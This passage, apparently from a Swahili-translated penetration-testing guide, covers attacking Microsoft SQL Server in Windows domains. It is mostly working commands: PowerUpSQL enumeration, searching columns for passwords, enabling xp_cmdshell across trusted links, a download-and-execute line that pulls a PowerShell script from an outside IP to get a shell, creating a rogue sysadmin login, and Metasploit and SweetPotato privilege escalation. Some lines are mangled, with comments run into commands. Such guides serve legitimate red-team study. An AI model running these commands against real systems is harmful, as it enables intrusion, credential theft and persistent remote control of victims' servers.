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### Powershell
Moduli ya powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) ni muhimu sana katika kesi hii.
```powershell
Import-Module .\PowerupSQL.psd1
Kuorodhesha kutoka kwenye mtandao bila kikao cha kikoa
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#If you don't have a AD account, you can try to find MSSQL scanning via UDP#First, you will need a list of hosts to scanGet-Content c:\temp\computers.txt |Get-SQLInstanceScanUDP –Verbose –Threads 10#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them#The discovered MSSQL servers must be on the file: C:\temp\instances.txtGet-SQLInstanceFile-FilePath C:\temp\instances.txt |Get-SQLConnectionTest-Verbose -Username test -Password test
Kuorodhesha kutoka ndani ya eneo
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#Get info about valid MSQL instances running in domain#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)Get-SQLInstanceDomain|Get-SQLServerinfo-Verbose#Test connections with each oneGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded-verbose#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)Get-SQLInstanceDomain|Get-SQLServerInfo-Verbose# Get DBs, test connections and get info in onelinerGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLServerInfo
MSSQL Msingi wa Kutumia
Upatikanaji wa DB
#Perform a SQL queryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select @@servername"#Dump an instance (a lotof CVSs generated in current dir)Invoke-SQLDumpInfo-Verbose -Instance "dcorp-mssql"# Search keywords in columns trying to access the MSSQL DBs## This won't use trusted SQL linksGet-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
MSSQL RCE
Inaweza pia kuwa na uwezekano wa kutekeleza amri ndani ya mwenyeji wa MSSQL
Invoke-SQLOSCmd-Instance "srv.sub.domain.local,1433"-Command "whoami"-RawResults# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
Check in the page mentioned in the following section how to do this manually.
MSSQL Basic Hacking Tricks
MSSQL Trusted Links
Ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, ataweza kutumia uhusiano wa kuaminiana kutekeleza maswali pia katika mfano mwingine. Hizi zinazoaminika zinaweza kuunganishwa na wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.
Viungo kati ya databases vinafanya kazi hata katika uaminifu wa msitu.
Powershell Abuse
#Look for MSSQL links of an accessible instanceGet-SQLServerLink-Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)Get-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Verbose#If you are sysadmin in some trusted link you can enable xp_cmdshell with:Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery fieldGet-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"#Obtain a shellGet-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have accessInvoke-SQLAudit-Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"#Try to escalate privileges on an instanceInvoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"#Manual trusted link queeryGet-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check itGet-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it workedGet-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
Metasploit
Unaweza kuangalia kwa urahisi viungo vinavyotegemewa kwa kutumia metasploit.
#Set username, password, windows auth (if using AD), IP...msf> useexploit/windows/mssql/mssql_linkcrawler[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Kumbuka kwamba metasploit itajaribu kutumia tu kazi ya openquery() katika MSSQL (hivyo, ikiwa huwezi kutekeleza amri na openquery(), utahitaji kujaribu njia ya EXECUTEkwa mikono kutekeleza amri, angalia zaidi hapa chini.)
Manual - Openquery()
Kutoka Linux unaweza kupata shell ya MSSQL console kwa kutumia sqsh na mssqlclient.py.
Kutoka Windows pia unaweza kupata viungo na kutekeleza amri kwa mikono ukitumia MSSQL client kamaHeidiSQL
Ikiwa huwezi kufanya vitendo kama exec xp_cmdshell kutoka openquery(), jaribu kutumia njia ya EXECUTE.
Manual - EXECUTE
Unaweza pia kutumia viungo vya kuaminika kwa kutumia EXECUTE:
#Create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
Local Privilege Escalation
Mtumiaji wa MSSQL wa ndani kwa kawaida ana aina maalum ya ruhusa inayoitwa SeImpersonatePrivilege. Hii inaruhusu akaunti "kujifanya mteja baada ya uthibitisho".
Mkakati ambao waandishi wengi wamekuja nao ni kulazimisha huduma ya SYSTEM kuthibitisha kwa huduma ya uasi au mtu katikati ambayo mshambuliaji anaunda. Huduma hii ya uasi inaweza kujifanya kama huduma ya SYSTEM wakati inajaribu kuthibitisha.
SweetPotato ina mkusanyiko wa mbinu hizi mbalimbali ambazo zinaweza kutekelezwa kupitia amri ya execute-assembly ya Beacon.
